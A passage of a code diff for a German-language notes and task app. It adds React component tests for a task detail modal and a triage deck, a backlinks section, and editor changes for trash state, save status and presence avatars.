content: 'Fenster putzen',
|
||||||
|
tags: [],
|
||||||
|
priority: 'normal',
|
||||||
|
source: 'manual',
|
||||||
|
status: 'converted',
|
||||||
|
isCompleted: false,
|
||||||
|
kanbanStatus: 'todo',
|
||||||
|
dueDate: '2026-10-30T14:30',
|
||||||
|
createdAt: '2026-10-29T08:00:00Z',
|
||||||
|
};
|
||||||
|
const columns = [
|
||||||
|
{ id: 'todo', name: 'Zu erledigen' },
|
||||||
|
{ id: 'done', name: 'Erledigt', isDone: true },
|
||||||
|
];
|
||||||
|
const noop = vi.fn(async () => {});
|
||||||
|
|
||||||
|
const props = (over: Partial<React.ComponentProps<typeof TaskDetailModal>> = {}) => ({
|
||||||
|
task,
|
||||||
|
isOpen: true,
|
||||||
|
onClose: vi.fn(),
|
||||||
|
activeColumns: columns,
|
||||||
|
taskLists: [],
|
||||||
|
onUpdateTitle: noop,
|
||||||
|
onUpdateStatus: noop,
|
||||||
|
onUpdatePriority: noop,
|
||||||
|
onUpdateDueDate: vi.fn(async () => {}),
|
||||||
|
onUpdateTaskList: noop,
|
||||||
|
onUpdateNotes: noop,
|
||||||
|
onToggleSubtask: noop,
|
||||||
|
onAddSubtask: noop,
|
||||||
|
onDeleteSubtask: noop,
|
||||||
|
onConvertToDoc: vi.fn(),
|
||||||
|
onDeleteTask: vi.fn(),
|
||||||
|
...over,
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('TaskDetailModal', () => {
|
||||||
|
it('opens and closes without breaking the hook order', () => {
|
||||||
|
const { rerender, container } = render(<TaskDetailModal {...props({ isOpen: false })} />);
|
||||||
|
expect(container.firstChild).toBeNull();
|
||||||
|
rerender(<TaskDetailModal {...props()} />);
|
||||||
|
expect(screen.getByText('Aufgabe bearbeiten')).toBeTruthy();
|
||||||
|
rerender(<TaskDetailModal {...props({ isOpen: false })} />);
|
||||||
|
rerender(<TaskDetailModal {...props()} />);
|
||||||
|
expect(screen.getByText('Aufgabe bearbeiten')).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('shows date and time separately and removes only the time', () => {
|
||||||
|
const onUpdateDueDate = vi.fn(async () => {});
|
||||||
|
render(<TaskDetailModal {...props({ onUpdateDueDate })} />);
|
||||||
|
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).value).toBe('2026-10-30');
|
||||||
|
expect((screen.getByLabelText('Uhrzeit (optional)') as HTMLInputElement).value).toBe('14:30');
|
||||||
|
fireEvent.click(screen.getByTitle(/Uhrzeit entfernen/));
|
||||||
|
expect(onUpdateDueDate).toHaveBeenCalledWith(task, '2026-10-30');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('is view-only for tasks in lists shared with viewer rights', () => {
|
||||||
|
render(<TaskDetailModal {...props({ readOnly: true })} />);
|
||||||
|
expect(screen.getByText('Aufgabe ansehen')).toBeTruthy();
|
||||||
|
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).closest('fieldset')?.disabled).toBe(true);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,163 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||||
|
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
|
||||||
|
import { TriageDeck } from '../TriageDeck';
|
||||||
|
import { api } from '../../../lib/api';
|
||||||
|
import { SharedList, Thought } from '../../../lib/types';
|
||||||
|
|
||||||
|
const sampleDeck: Thought[] = [
|
||||||
|
{
|
||||||
|
id: 'th_1',
|
||||||
|
userId: 'u_1',
|
||||||
|
content: 'Hafermilch und Kaffeebohnen',
|
||||||
|
status: 'inbox',
|
||||||
|
priority: 'normal',
|
||||||
|
source: 'manual',
|
||||||
|
isCompleted: false,
|
||||||
|
tags: [],
|
||||||
|
createdAt: '2026-10-29T10:00:00Z',
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const ownList: SharedList = {
|
||||||
|
id: 'lst_own',
|
||||||
|
title: 'Wocheneinkauf',
|
||||||
|
icon: '🛒',
|
||||||
|
listType: 'shopping',
|
||||||
|
isOwner: true,
|
||||||
|
role: 'owner',
|
||||||
|
items: [],
|
||||||
|
createdAt: '2026-10-29T10:00:00Z',
|
||||||
|
updatedAt: '2026-10-29T10:00:00Z',
|
||||||
|
};
|
||||||
|
|
||||||
|
const secondEditableList: SharedList = {
|
||||||
|
id: 'lst_edit',
|
||||||
|
title: 'Baumarkt',
|
||||||
|
icon: '🔨',
|
||||||
|
listType: 'checklist',
|
||||||
|
isOwner: false,
|
||||||
|
role: 'editor',
|
||||||
|
items: [],
|
||||||
|
createdAt: '2026-10-29T10:00:00Z',
|
||||||
|
updatedAt: '2026-10-29T10:00:00Z',
|
||||||
|
};
|
||||||
|
|
||||||
|
const viewerList: SharedList = {
|
||||||
|
id: 'lst_view',
|
||||||
|
title: 'WG-Archiv',
|
||||||
|
icon: '📋',
|
||||||
|
listType: 'checklist',
|
||||||
|
isOwner: false,
|
||||||
|
role: 'viewer',
|
||||||
|
items: [],
|
||||||
|
createdAt: '2026-10-29T10:00:00Z',
|
||||||
|
updatedAt: '2026-10-29T10:00:00Z',
|
||||||
|
};
|
||||||
|
|
||||||
|
describe('TriageDeck single-list shortcut', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.restoreAllMocks();
|
||||||
|
vi.spyOn(api, 'triageAction').mockResolvedValue(sampleDeck[0]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('directly assigns to the single own list without opening the selector', async () => {
|
||||||
|
const onDeckChange = vi.fn();
|
||||||
|
|
||||||
|
render(
|
||||||
|
<TriageDeck
|
||||||
|
deck={sampleDeck}
|
||||||
|
lists={[ownList]}
|
||||||
|
onDeckChange={onDeckChange}
|
||||||
|
onOpenDocument={vi.fn()}
|
||||||
|
onFocusCapture={vi.fn()}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
|
||||||
|
expect((btn as HTMLButtonElement).disabled).toBe(false);
|
||||||
|
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
|
||||||
|
convertTo: 'list_item',
|
||||||
|
targetListId: 'lst_own',
|
||||||
|
dueDate: undefined,
|
||||||
|
});
|
||||||
|
expect(onDeckChange).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
expect(screen.queryByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('opens the list selector when two writable lists exist instead of assigning directly', () => {
|
||||||
|
const onDeckChange = vi.fn();
|
||||||
|
|
||||||
|
render(
|
||||||
|
<TriageDeck
|
||||||
|
deck={sampleDeck}
|
||||||
|
lists={[ownList, secondEditableList]}
|
||||||
|
onDeckChange={onDeckChange}
|
||||||
|
onOpenDocument={vi.fn()}
|
||||||
|
onFocusCapture={vi.fn()}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
const btn = screen.getByRole('button', { name: /^Auf Liste$/i });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
expect(api.triageAction).not.toHaveBeenCalled();
|
||||||
|
expect(onDeckChange).not.toHaveBeenCalled();
|
||||||
|
expect(screen.getByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeTruthy();
|
||||||
|
expect(screen.getByRole('button', { name: /Wocheneinkauf/i })).toBeTruthy();
|
||||||
|
expect(screen.getByRole('button', { name: /Baumarkt/i })).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('treats one own list and one viewer-only shared list as a single writable list', async () => {
|
||||||
|
const onDeckChange = vi.fn();
|
||||||
|
|
||||||
|
render(
|
||||||
|
<TriageDeck
|
||||||
|
deck={sampleDeck}
|
||||||
|
lists={[viewerList, ownList]}
|
||||||
|
onDeckChange={onDeckChange}
|
||||||
|
onOpenDocument={vi.fn()}
|
||||||
|
onFocusCapture={vi.fn()}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
|
||||||
|
convertTo: 'list_item',
|
||||||
|
targetListId: 'lst_own',
|
||||||
|
dueDate: undefined,
|
||||||
|
});
|
||||||
|
expect(onDeckChange).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('disables the list button when no writable list exists', () => {
|
||||||
|
const onDeckChange = vi.fn();
|
||||||
|
|
||||||
|
render(
|
||||||
|
<TriageDeck
|
||||||
|
deck={sampleDeck}
|
||||||
|
lists={[viewerList]}
|
||||||
|
onDeckChange={onDeckChange}
|
||||||
|
onOpenDocument={vi.fn()}
|
||||||
|
onFocusCapture={vi.fn()}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
const btn = screen.getByRole('button', { name: /^Auf Liste$/i }) as HTMLButtonElement;
|
||||||
|
expect(btn.disabled).toBe(true);
|
||||||
|
expect(btn.title).toBe('Keine Liste vorhanden');
|
||||||
|
|
||||||
|
fireEvent.click(btn);
|
||||||
|
expect(api.triageAction).not.toHaveBeenCalled();
|
||||||
|
expect(onDeckChange).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import { ChevronDown, ChevronRight, Folder, Link2 } from 'lucide-react';
|
||||||
|
import { Backlink } from '../../lib/types';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
|
||||||
|
interface BacklinksSectionProps {
|
||||||
|
docId: string;
|
||||||
|
title: string;
|
||||||
|
onOpen: (docId: string, blockId?: string) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const COLLAPSED_KEY = 'mindsift:backlinks_collapsed';
|
||||||
|
|
||||||
|
// Shows the [[Wiki-Link]] parts of a block in the accent color, the rest as plain text
|
||||||
|
const Snippet: React.FC<{ text: string }> = ({ text }) => (
|
||||||
|
<>
|
||||||
|
{text.split(/(\[\[[^\]]*\]\])/g).map((part, i) =>
|
||||||
|
part.startsWith('[[') && part.endsWith(']]') ? (
|
||||||
|
<span key={i} className="text-accent font-medium">
|
||||||
|
{part}
|
||||||
|
</span>
|
||||||
|
) : (
|
||||||
|
<React.Fragment key={i}>{part}</React.Fragment>
|
||||||
|
)
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
|
||||||
|
// "Verlinkt auf diese Notiz" at the end of a note. Hidden while nothing links here; reloads shortly
|
||||||
|
// after the title changes, since links are matched by title.
|
||||||
|
export const BacklinksSection: React.FC<BacklinksSectionProps> = ({ docId, title, onOpen }) => {
|
||||||
|
const [links, setLinks] = useState<Backlink[]>([]);
|
||||||
|
const [collapsed, setCollapsed] = useState<boolean>(() => {
|
||||||
|
try {
|
||||||
|
return localStorage.getItem(COLLAPSED_KEY) === 'true';
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
let cancelled = false;
|
||||||
|
const timer = setTimeout(() => {
|
||||||
|
api
|
||||||
|
.getBacklinks(docId)
|
||||||
|
.then((res) => !cancelled && setLinks(res))
|
||||||
|
.catch(() => !cancelled && setLinks([]));
|
||||||
|
}, 400);
|
||||||
|
return () => {
|
||||||
|
cancelled = true;
|
||||||
|
clearTimeout(timer);
|
||||||
|
};
|
||||||
|
}, [docId, title]);
|
||||||
|
|
||||||
|
if (links.length === 0) return null;
|
||||||
|
|
||||||
|
const toggle = () => {
|
||||||
|
setCollapsed((prev) => {
|
||||||
|
try {
|
||||||
|
localStorage.setItem(COLLAPSED_KEY, String(!prev));
|
||||||
|
} catch {}
|
||||||
|
return !prev;
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<section className="mt-10 pt-4 border-t border-border" aria-label="Rückverweise">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={toggle}
|
||||||
|
aria-expanded={!collapsed}
|
||||||
|
className="w-full flex items-center gap-1.5 min-h-[44px] sm:min-h-0 py-1 text-xs font-semibold text-muted hover:text-main cursor-pointer"
|
||||||
|
>
|
||||||
|
{collapsed ? <ChevronRight className="w-3.5 h-3.5" /> : <ChevronDown className="w-3.5 h-3.5" />}
|
||||||
|
<Link2 className="w-3.5 h-3.5 text-accent" />
|
||||||
|
<span>Verlinkt auf diese Notiz ({links.length})</span>
|
||||||
|
</button>
|
||||||
|
{!collapsed && (
|
||||||
|
<ul className="mt-2 space-y-2">
|
||||||
|
{links.map((l) => (
|
||||||
|
<li key={l.docId} className="p-3 bg-panel border border-border rounded-card">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => onOpen(l.docId)}
|
||||||
|
className="flex items-center gap-2 min-w-0 max-w-full text-left cursor-pointer group"
|
||||||
|
>
|
||||||
|
<span className="shrink-0">{l.icon || '📝'}</span>
|
||||||
|
<span className="text-sm font-semibold text-main truncate group-hover:text-accent">
|
||||||
|
{l.title || 'Unbenannte Notiz'}
|
||||||
|
</span>
|
||||||
|
{l.folderPath && (
|
||||||
|
<span className="hidden sm:inline-flex items-center gap-1 text-[11px] text-faint min-w-0">
|
||||||
|
<Folder className="w-3 h-3 shrink-0" />
|
||||||
|
<span className="truncate">{l.folderPath}</span>
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</button>
|
||||||
|
<ul className="mt-1.5 space-y-1">
|
||||||
|
{l.blocks.map((b) => (
|
||||||
|
<li key={b.id}>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => onOpen(l.docId, b.id)}
|
||||||
|
className="w-full text-left text-xs text-muted hover:text-main px-2 py-1.5 rounded-btn hover:bg-panel-elevated border-l-2 border-border line-clamp-3 break-words cursor-pointer"
|
||||||
|
>
|
||||||
|
<Snippet text={b.content} />
|
||||||
|
</button>
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
{!!l.more && <p className="mt-1 text-[11px] text-faint">… und {l.more} weitere Stellen</p>}
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
)}
|
||||||
|
</section>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
import React, { useState, useMemo, useRef, useEffect } from 'react';
|
import React, { useState, useMemo, useRef } from 'react';
|
||||||
import Prism from 'prismjs';
|
import Prism from 'prismjs';
|
||||||
import 'prismjs/components/prism-python';
|
import 'prismjs/components/prism-python';
|
||||||
import 'prismjs/components/prism-typescript';
|
import 'prismjs/components/prism-typescript';
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ import {
|
|||||||
Pin,
|
Pin,
|
||||||
Users,
|
Users,
|
||||||
Trash2,
|
Trash2,
|
||||||
|
RotateCcw,
|
||||||
Download,
|
Download,
|
||||||
FileText,
|
FileText,
|
||||||
Loader2,
|
Loader2,
|
||||||
@@ -13,12 +14,16 @@ import {
|
|||||||
Minimize2,
|
Minimize2,
|
||||||
Sparkles,
|
Sparkles,
|
||||||
Plus,
|
Plus,
|
||||||
Search,
|
Check,
|
||||||
|
CloudOff,
|
||||||
|
AlertTriangle,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { Document, DocumentBlock, User } from '../../lib/types';
|
import { Document, DocumentBlock, User } from '../../lib/types';
|
||||||
import { api } from '../../lib/api';
|
import { api } from '../../lib/api';
|
||||||
import { DocSyncEngine, EngineState } from '../../lib/docSync/engine';
|
import { DocSyncEngine, EngineState } from '../../lib/docSync/engine';
|
||||||
import { OutlinerTree, OutlinerTreeHandle } from './OutlinerTree';
|
import { OutlinerTree, OutlinerTreeHandle } from './OutlinerTree';
|
||||||
|
import { PresenceAvatars } from './PresenceAvatars';
|
||||||
|
import { extractHashtags } from '../../lib/hashtags';
|
||||||
|
|
||||||
export type DocSaveStatus = 'saved' | 'saving' | 'unsaved' | 'error';
|
export type DocSaveStatus = 'saved' | 'saving' | 'unsaved' | 'error';
|
||||||
|
|
||||||
@@ -31,71 +36,18 @@ export interface DocumentEditorProps {
|
|||||||
initialFocusedBlockId?: string | null;
|
initialFocusedBlockId?: string | null;
|
||||||
onDocMetadataChange: (updated: Document) => void;
|
onDocMetadataChange: (updated: Document) => void;
|
||||||
onDeleteDoc: (docId: string) => void;
|
onDeleteDoc: (docId: string) => void;
|
||||||
|
onRestoreDoc?: (docId: string) => void;
|
||||||
onOpenShareModal: (doc: Document) => void;
|
onOpenShareModal: (doc: Document) => void;
|
||||||
onSelectTag: (tag: string) => void;
|
onSelectTag: (tag: string) => void;
|
||||||
onWikiLinkClick?: (pageTitle: string) => void;
|
onWikiLinkClick?: (pageTitle: string) => void;
|
||||||
|
onOpenDocBlock?: (docId: string, blockId?: string) => void;
|
||||||
onBackMobile?: () => void;
|
onBackMobile?: () => void;
|
||||||
onOpenTask?: (taskId: string) => void;
|
onOpenTask?: (taskId: string) => void;
|
||||||
onSaveStatusChange?: (status: DocSaveStatus, errorMsg?: string) => void;
|
onSaveStatusChange?: (status: DocSaveStatus, errorMsg?: string) => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
interface EmojiItem {
|
import { EmojiPickerModal } from './EmojiPickerModal';
|
||||||
emoji: string;
|
import { BacklinksSection } from './BacklinksSection';
|
||||||
category: string;
|
|
||||||
keywords: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
const EMOJI_CATALOG: EmojiItem[] = [
|
|
||||||
// Notizen & Dokumente
|
|
||||||
{ emoji: '📝', category: 'Notizen', keywords: 'notiz schreiben memo text note' },
|
|
||||||
{ emoji: '📄', category: 'Notizen', keywords: 'dokument seite page doc' },
|
|
||||||
{ emoji: '📋', category: 'Notizen', keywords: 'clipboard klemmbrett liste' },
|
|
||||||
{ emoji: '📂', category: 'Notizen', keywords: 'ordner mappe folder datei' },
|
|
||||||
{ emoji: '📁', category: 'Notizen', keywords: 'ordner folder directory' },
|
|
||||||
{ emoji: '📌', category: 'Notizen', keywords: 'pin anheften bookmark wichtig' },
|
|
||||||
{ emoji: '📍', category: 'Notizen', keywords: 'standort ort pin location' },
|
|
||||||
{ emoji: '🏷️', category: 'Notizen', keywords: 'tag etikett label markierung' },
|
|
||||||
{ emoji: '📚', category: 'Notizen', keywords: 'buch bibliothek lesen studium' },
|
|
||||||
{ emoji: '📖', category: 'Notizen', keywords: 'buch open book wissen' },
|
|
||||||
|
|
||||||
// Ideen & Fokus
|
|
||||||
{ emoji: '🧠', category: 'Ideen', keywords: 'gehirn brain denken wissen thought mind' },
|
|
||||||
{ emoji: '💡', category: 'Ideen', keywords: 'idee inspiration lampe glühbirne idea' },
|
|
||||||
{ emoji: '🎯', category: 'Ideen', keywords: 'ziel target fokus mission okr' },
|
|
||||||
{ emoji: '🚀', category: 'Ideen', keywords: 'rakete start launch projekt rocket' },
|
|
||||||
{ emoji: '⚡', category: 'Ideen', keywords: 'blitz energie schnell quick power' },
|
|
||||||
{ emoji: '🔥', category: 'Ideen', keywords: 'feuer flame priorität hot wichtig' },
|
|
||||||
{ emoji: '⭐', category: 'Ideen', keywords: 'stern favoriten star top' },
|
|
||||||
{ emoji: '✨', category: 'Ideen', keywords: 'funkeln magie neu neuigkeit sparkles' },
|
|
||||||
{ emoji: '🧩', category: 'Ideen', keywords: 'puzzle teil lösung problem' },
|
|
||||||
{ emoji: '🔬', category: 'Ideen', keywords: 'mikroskop forschung analyse test' },
|
|
||||||
|
|
||||||
// Tech & Dev
|
|
||||||
{ emoji: '💻', category: 'Tech', keywords: 'laptop computer dev code programming' },
|
|
||||||
{ emoji: '🖥️', category: 'Tech', keywords: 'desktop monitor bildschirm workstation' },
|
|
||||||
{ emoji: '🛠️', category: 'Tech', keywords: 'werkzeug tools optionen settings einstellungen' },
|
|
||||||
{ emoji: '⚙️', category: 'Tech', keywords: 'zahnrad config settings system' },
|
|
||||||
{ emoji: '📊', category: 'Tech', keywords: 'diagramm chart daten statistik dashboard' },
|
|
||||||
{ emoji: '📈', category: 'Tech', keywords: 'wachstum trend kurve business' },
|
|
||||||
{ emoji: '🔒', category: 'Tech', keywords: 'schloss sicherheit geheim privat secure' },
|
|
||||||
{ emoji: '🔑', category: 'Tech', keywords: 'schlüssel key passwort access' },
|
|
||||||
{ emoji: '🌐', category: 'Tech', keywords: 'web internet network welt globus' },
|
|
||||||
{ emoji: '📦', category: 'Tech', keywords: 'paket box release lieferung package' },
|
|
||||||
|
|
||||||
// Alltag & Organisation
|
|
||||||
{ emoji: '💬', category: 'Alltag', keywords: 'chat nachricht kommentar call sprechen' },
|
|
||||||
{ emoji: '✉️', category: 'Alltag', keywords: 'mail email brief post nachricht' },
|
|
||||||
{ emoji: '📅', category: 'Alltag', keywords: 'kalender datum termin plan event' },
|
|
||||||
{ emoji: '⏰', category: 'Alltag', keywords: 'wecker uhr zeit deadline alarm' },
|
|
||||||
{ emoji: '🛒', category: 'Alltag', keywords: 'warenkorb einkauf shopping liste' },
|
|
||||||
{ emoji: '☕', category: 'Alltag', keywords: 'kaffee pause bistro morning' },
|
|
||||||
{ emoji: '🏠', category: 'Alltag', keywords: 'haus heim home wohnung' },
|
|
||||||
{ emoji: '🏢', category: 'Alltag', keywords: 'büro firma arbeit office work' },
|
|
||||||
{ emoji: '✈️', category: 'Alltag', keywords: 'flugzeug reise urlaub trip travel' },
|
|
||||||
{ emoji: '🎨', category: 'Alltag', keywords: 'kunst farbe design creative' },
|
|
||||||
{ emoji: '🏆', category: 'Alltag', keywords: 'pokal erfolg win trophy award' },
|
|
||||||
{ emoji: '✅', category: 'Alltag', keywords: 'haken check done erledigt' },
|
|
||||||
];
|
|
||||||
|
|
||||||
function ensureNonEmptyBlocks(docId: string, blocks?: DocumentBlock[]): DocumentBlock[] {
|
function ensureNonEmptyBlocks(docId: string, blocks?: DocumentBlock[]): DocumentBlock[] {
|
||||||
if (!blocks || blocks.length === 0) {
|
if (!blocks || blocks.length === 0) {
|
||||||
@@ -230,6 +182,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
initialFocusedBlockId,
|
initialFocusedBlockId,
|
||||||
onDocMetadataChange,
|
onDocMetadataChange,
|
||||||
onDeleteDoc,
|
onDeleteDoc,
|
||||||
|
onRestoreDoc,
|
||||||
|
onOpenDocBlock,
|
||||||
onOpenShareModal,
|
onOpenShareModal,
|
||||||
onSelectTag,
|
onSelectTag,
|
||||||
onWikiLinkClick,
|
onWikiLinkClick,
|
||||||
@@ -245,21 +199,12 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
const [loading, setLoading] = useState<boolean>(!initialDoc);
|
const [loading, setLoading] = useState<boolean>(!initialDoc);
|
||||||
const [error, setError] = useState<string | null>(null);
|
const [error, setError] = useState<string | null>(null);
|
||||||
const [showEmojiPicker, setShowEmojiPicker] = useState<boolean>(false);
|
const [showEmojiPicker, setShowEmojiPicker] = useState<boolean>(false);
|
||||||
const [emojiSearch, setEmojiSearch] = useState<string>('');
|
|
||||||
const [zoomedBlockId, setZoomedBlockId] = useState<string | null>(null);
|
const [zoomedBlockId, setZoomedBlockId] = useState<string | null>(null);
|
||||||
|
|
||||||
// Sync engine (operation log): stores every change locally and syncs it with the server
|
// Sync engine (operation log): stores every change locally and syncs it with the server
|
||||||
const engineRef = useRef<DocSyncEngine | null>(null);
|
const engineRef = useRef<DocSyncEngine | null>(null);
|
||||||
const [engineState, setEngineState] = useState<EngineState | null>(null);
|
const [engineState, setEngineState] = useState<EngineState | null>(null);
|
||||||
|
|
||||||
const filteredEmojis = useMemo(() => {
|
|
||||||
const q = emojiSearch.trim().toLowerCase();
|
|
||||||
if (!q) return EMOJI_CATALOG;
|
|
||||||
return EMOJI_CATALOG.filter(
|
|
||||||
(item) => item.keywords.includes(q) || item.emoji.includes(q) || item.category.toLowerCase().includes(q)
|
|
||||||
);
|
|
||||||
}, [emojiSearch]);
|
|
||||||
|
|
||||||
|
|
||||||
const titleInputRef = useRef<HTMLTextAreaElement | HTMLInputElement | null>(null);
|
const titleInputRef = useRef<HTMLTextAreaElement | HTMLInputElement | null>(null);
|
||||||
const outlinerTreeRef = useRef<OutlinerTreeHandle | null>(null);
|
const outlinerTreeRef = useRef<OutlinerTreeHandle | null>(null);
|
||||||
@@ -304,7 +249,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
}, [title, doc?.title, blocks, zoomedBlockId]);
|
}, [title, doc?.title, blocks, zoomedBlockId]);
|
||||||
|
|
||||||
// Owner and editors may edit; the role comes from the server via the sync engine
|
// Owner and editors may edit; the role comes from the server via the sync engine
|
||||||
|
const inTrash = Boolean(doc?.isArchived);
|
||||||
const canEdit = useMemo(() => {
|
const canEdit = useMemo(() => {
|
||||||
|
if (doc?.isArchived) return false;
|
||||||
if (engineState?.role) return engineState.role === 'owner' || engineState.role === 'editor';
|
if (engineState?.role) return engineState.role === 'owner' || engineState.role === 'editor';
|
||||||
if (!doc) return false;
|
if (!doc) return false;
|
||||||
return Boolean(doc.isOwner || doc.permission === 'owner' || doc.permission === 'write');
|
return Boolean(doc.isOwner || doc.permission === 'owner' || doc.permission === 'write');
|
||||||
@@ -314,12 +261,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
const extractedTags = useMemo(() => {
|
const extractedTags = useMemo(() => {
|
||||||
const tagSet = new Set<string>();
|
const tagSet = new Set<string>();
|
||||||
for (const b of blocks) {
|
for (const b of blocks) {
|
||||||
const matches = b.content?.match(/#([a-zA-Z0-9äöüÄÖÜß_-]+)/g);
|
for (const tag of extractHashtags(b.content)) tagSet.add(tag);
|
||||||
if (matches) {
|
|
||||||
for (const m of matches) {
|
|
||||||
tagSet.add(m.slice(1).toLowerCase());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return Array.from(tagSet);
|
return Array.from(tagSet);
|
||||||
}, [blocks]);
|
}, [blocks]);
|
||||||
@@ -417,6 +359,22 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
[engineState?.presence, currentUser?.id]
|
[engineState?.presence, currentUser?.id]
|
||||||
);
|
);
|
||||||
|
|
||||||
|
// Presence only carries names; profile pictures come from the user directory, loaded once
|
||||||
|
// the first time someone else shows up (avatars can be data URLs, too big for every sync)
|
||||||
|
const [avatarsById, setAvatarsById] = useState<Map<string, string>>(new Map());
|
||||||
|
const avatarsRequestedRef = useRef(false);
|
||||||
|
useEffect(() => {
|
||||||
|
if (otherPeople.length === 0 || avatarsRequestedRef.current) return;
|
||||||
|
avatarsRequestedRef.current = true;
|
||||||
|
api.getUsersDirectory()
|
||||||
|
.then((users) => {
|
||||||
|
const m = new Map<string, string>();
|
||||||
|
for (const u of users) if (u.avatarUrl) m.set(u.id, u.avatarUrl);
|
||||||
|
setAvatarsById(m);
|
||||||
|
})
|
||||||
|
.catch(() => {});
|
||||||
|
}, [otherPeople.length]);
|
||||||
|
|
||||||
// Short hint at the bottom of the editor (blocked actions, skipped undo)
|
// Short hint at the bottom of the editor (blocked actions, skipped undo)
|
||||||
const [notice, setNotice] = useState<string | null>(null);
|
const [notice, setNotice] = useState<string | null>(null);
|
||||||
const noticeTimerRef = useRef<number | null>(null);
|
const noticeTimerRef = useRef<number | null>(null);
|
||||||
@@ -755,6 +713,33 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{/* Save status on phones (the desktop shows it above the workspace) */}
|
||||||
|
{engineState && (
|
||||||
|
<span
|
||||||
|
className="sm:hidden inline-flex items-center shrink-0"
|
||||||
|
title={
|
||||||
|
engineState.status === 'saving'
|
||||||
|
? 'Speichert…'
|
||||||
|
: engineState.status === 'offline'
|
||||||
|
? 'Offline – Änderungen sind lokal gesichert'
|
||||||
|
: engineState.status === 'error'
|
||||||
|
? engineState.errorMessage || 'Fehler beim Speichern'
|
||||||
|
: 'Gespeichert'
|
||||||
|
}
|
||||||
|
aria-label="Speicherstatus"
|
||||||
|
>
|
||||||
|
{engineState.status === 'saving' ? (
|
||||||
|
<Loader2 className="w-3.5 h-3.5 animate-spin text-accent" />
|
||||||
|
) : engineState.status === 'offline' ? (
|
||||||
|
<CloudOff className="w-3.5 h-3.5 text-status-warn" />
|
||||||
|
) : engineState.status === 'error' ? (
|
||||||
|
<AlertTriangle className="w-3.5 h-3.5 text-status-err" />
|
||||||
|
) : (
|
||||||
|
<Check className="w-3.5 h-3.5 text-status-ok" />
|
||||||
|
)}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
|
||||||
{/* Read-only indicator */}
|
{/* Read-only indicator */}
|
||||||
{!canEdit && (
|
{!canEdit && (
|
||||||
<span className="inline-flex items-center gap-1 px-2 py-0.5 rounded-btn text-[11px] font-medium bg-status-warn/10 text-status-warn border border-status-warn/30">
|
<span className="inline-flex items-center gap-1 px-2 py-0.5 rounded-btn text-[11px] font-medium bg-status-warn/10 text-status-warn border border-status-warn/30">
|
||||||
@@ -790,17 +775,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Who else has this note open */}
|
{/* Who else has this note open */}
|
||||||
{otherPeople.length > 0 && (
|
<PresenceAvatars people={otherPeople} avatars={avatarsById} />
|
||||||
<span
|
